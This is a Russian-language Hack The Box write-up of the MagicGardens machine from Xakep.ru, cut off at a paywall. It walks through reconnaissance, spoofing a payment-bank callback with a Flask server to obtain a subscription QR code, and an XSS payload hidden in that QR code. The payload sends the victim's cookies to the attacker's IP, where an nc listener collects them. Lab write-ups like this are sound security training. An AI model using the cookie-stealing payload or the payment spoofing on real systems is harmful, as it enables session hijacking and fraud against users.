Содержание статьи
Наша главная цель — получение прав суперпользователя на машине MagicGardens с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.9 magicgardens.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
![Результат работы скрипта Результат работы скрипта](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40510/02.png)
Сканер нашел четыре открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.22.1;
- 1337 — неизвестная служба;
- 5000 — служба Docker Registry.
Docker Registry использует HTTP-аутентификацию, учетных данных от SSH у нас пока нет, поэтому начинаем с изучения доступного нам веб‑сайта.
![Главная страница сайта Главная страница сайта](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40509/03.png)
Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-d
— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128
![Результат сканирования каталогов Результат сканирования каталогов](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40508/04.png)
В числе прочего находим админку Django на странице /
.
![Содержимое страницы /admin Содержимое страницы /admin](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40507/05.png)
Также на сайте есть возможность авторизации и регистрации.
![Форма авторизации Форма авторизации](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40506/06.png)
Авторизованному пользователю всегда доступно больше возможностей, поэтому сразу же регистрируемся. Теперь нам доступны такие функции, как выбор товаров и даже система подписки — что‑то вроде получения постоянной скидки на товары.
![Страница Subscription Страница Subscription](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40505/08.png)
![Сообщение о запросе подписки Сообщение о запросе подписки](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40497/09.png)
Судя по сообщению на странице, после подтверждения банка мы должны были получить QR-код, однако ничего такого не произошло. А еще при выборе товара нам придет сообщение от какого‑то morty, который говорит, что если отправим ему QR-код, то получим свою скидку.
![Входящие сообщения Входящие сообщения](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40496/10.png)
Перейдем к Burp History и пройдемся по запросам в поисках чего‑нибудь аномального и интересного. Например, в запросе к банку в параметре bank
указан какой‑то адрес.
![Запрос в Burp History Запрос в Burp History](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40504/11.png)
Запустим листенер на порте 80, перенаправим запрос в Burp Repeater и укажем в параметре bank
адрес своего сервера.
![Запрос в Burp Repeater Запрос в Burp Repeater](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40503/12.png)
![Логи листенера Логи листенера](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40502/13.png)
Листенер засечет HTTP-запрос с сервера. Так как никакого ответа мы не отправили, на сервере отображено не такое сообщение, как раньше.
![Сообщение о недоступности банка Сообщение о недоступности банка](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40501/14.png)
То есть, если мы ответим серверу, сможем получить нужный QR-код.
Точка опоры
Сделаем на Python сервер, который будет отвечать на запрос к /
.
from flask import Flask, jsonify, requestapp = Flask(__name__)@app.route('/api/payments/', methods=['POST'])def func_payment(): r_json = request.get_json() r_json['status'] = "200" return jsonify(r_json)app.run(host='0.0.0.0', port=80, debug=True)
Запускам код, а затем повторяем запрос с подменой адреса своим.
![Логи сервера Логи сервера](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40500/15.png)
![Сообщение на странице Сообщение на странице](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40499/16.png)
Теперь получаем сообщение, что подписка в обработке, а при обновлении страницы появляется желанный QR-код.
![Страница Subscription Страница Subscription](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40498/17.png)
Расшифруем QR-код, чтобы понимать, какие данные он хранит.
![Декодированный QR-код Декодированный QR-код](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40495/18.png)
Скорее всего, morty проверяет имя пользователя, когда декодирует QR-код. Попробуем вместо имени аккаунта подставить код на JavaScript. Превратить его в QR можно при помощи онлайнового генератора.
3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>
Этот код отправит на наш сервер cookie пользователя. Запускаем листенер (nc
) и отправляем в ответном сообщении пользователю morty сгенерированный QR-код. Почти сразу получаем запрос с сессионным идентификатором пользователя.
![Логи листенера Логи листенера](https://static.xakep.ru/images/0b14c454bcce95c22a6b0cb7bb44cce9/40494/19.png)
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее